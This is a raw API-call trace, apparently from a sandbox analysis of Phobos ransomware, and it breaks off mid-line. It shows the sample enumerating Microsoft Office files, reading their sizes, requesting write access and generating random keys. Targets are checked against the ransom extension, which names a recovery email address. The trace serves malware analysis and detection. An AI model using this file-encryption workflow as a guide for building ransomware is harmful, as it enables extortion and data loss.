GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME46.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme46.css")) returned 0x220 [0155.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME46.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme46.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.936] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME46.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme46.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.936] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.936] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME48.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme48.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.938] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=129412) returned 1 [0155.938] CloseHandle (hObject=0x254) returned 1 [0155.938] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME48.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme48.css")) returned 0x220 [0155.938] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME48.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme48.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME48.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme48.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.941] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME51.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme51.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.944] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=122728) returned 1 [0155.944] CloseHandle (hObject=0x254) returned 1 [0155.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME51.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme51.css")) returned 0x220 [0155.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME51.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme51.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.944] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME51.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme51.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.944] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.944] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME53.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme53.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.951] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=124580) returned 1 [0155.952] CloseHandle (hObject=0x254) returned 1 [0155.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME53.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme53.css")) returned 0x220 [0155.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME53.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme53.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.952] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME53.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme53.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.952] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.952] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME55.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme55.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.953] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=123156) returned 1 [0155.953] CloseHandle (hObject=0x254) returned 1 [0155.953] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME55.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme55.css")) returned 0x220 [0155.953] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME55.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme55.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.953] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME55.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme55.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.954] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PAPERS.INI" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\papers.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.977] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=6187) returned 1 [0155.977] CloseHandle (hObject=0x254) returned 1 [0155.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PAPERS.INI" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\papers.ini")) returned 0x220 [0155.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PAPERS.INI.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\papers.ini.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.978] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PAPERS.INI" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\papers.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.978] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.978] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR10F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir10f.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.979] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=15285) returned 1 [0155.979] CloseHandle (hObject=0x254) returned 1 [0155.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR10F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir10f.gif")) returned 0x220 [0155.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR10F.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir10f.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.979] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR10F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir10f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.979] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.979] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR11F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir11f.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.980] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5167) returned 1 [0155.980] CloseHandle (hObject=0x254) returned 1 [0155.980] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR11F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir11f.gif")) returned 0x220 [0155.980] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR11F.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir11f.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.980] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR11F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir11f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.980] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.980] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR12F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir12f.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.981] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=18143) returned 1 [0155.981] CloseHandle (hObject=0x254) returned 1 [0155.981] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR12F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir12f.gif")) returned 0x220 [0155.981] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR12F.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir12f.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.982] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR12F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir12f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.982] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.982] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR13F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir13f.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.984] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=17165) returned 1 [0155.984] CloseHandle (hObject=0x254) returned 1 [0155.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR13F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir13f.gif")) returned 0x220 [0155.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR13F.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir13f.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.984] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR13F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir13f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.984] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.984] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR14F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir14f.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.985] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=23735) returned 1 [0155.985] CloseHandle (hObject=0x254) returned 1 [0155.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR14F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir14f.gif")) returned 0x220 [0155.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR14F.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir14f.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.985] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR14F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir14f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.985] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.985] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR15F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir15f.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.986] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=7352) returned 1 [0155.986] CloseHandle (hObject=0x254) returned 1 [0155.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR15F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir15f.gif")) returned 0x220 [0155.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR15F.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir15f.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.987] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR15F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir15f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.987] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.987] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR16F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir16f.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.987] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=14751) returned 1 [0155.988] CloseHandle (hObject=0x254) returned 1 [0155.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR16F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir16f.gif")) returned 0x220 [0155.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR16F.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir16f.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.988] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR16F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir16f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.988] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.988] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR17F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir17f.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.989] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=11191) returned 1 [0155.989] CloseHandle (hObject=0x254) returned 1 [0155.989] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR17F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir17f.gif")) returned 0x220 [0155.989] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR17F.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir17f.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.989] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR17F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir17f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.989] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.989] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR18F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir18f.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.990] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=16884) returned 1 [0155.990] CloseHandle (hObject=0x254) returned 1 [0155.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR18F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir18f.gif")) returned 0x220 [0155.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR18F.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir18f.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR18F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir18f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.990] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR19F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir19f.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.992] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3151) returned 1 [0155.992] CloseHandle (hObject=0x254) returned 1 [0155.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR19F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir19f.gif")) returned 0x220 [0155.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR19F.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir19f.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.992] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR19F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir19f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.992] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.992] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR1B.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir1b.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.993] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3480) returned 1 [0155.994] CloseHandle (hObject=0x254) returned 1 [0155.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 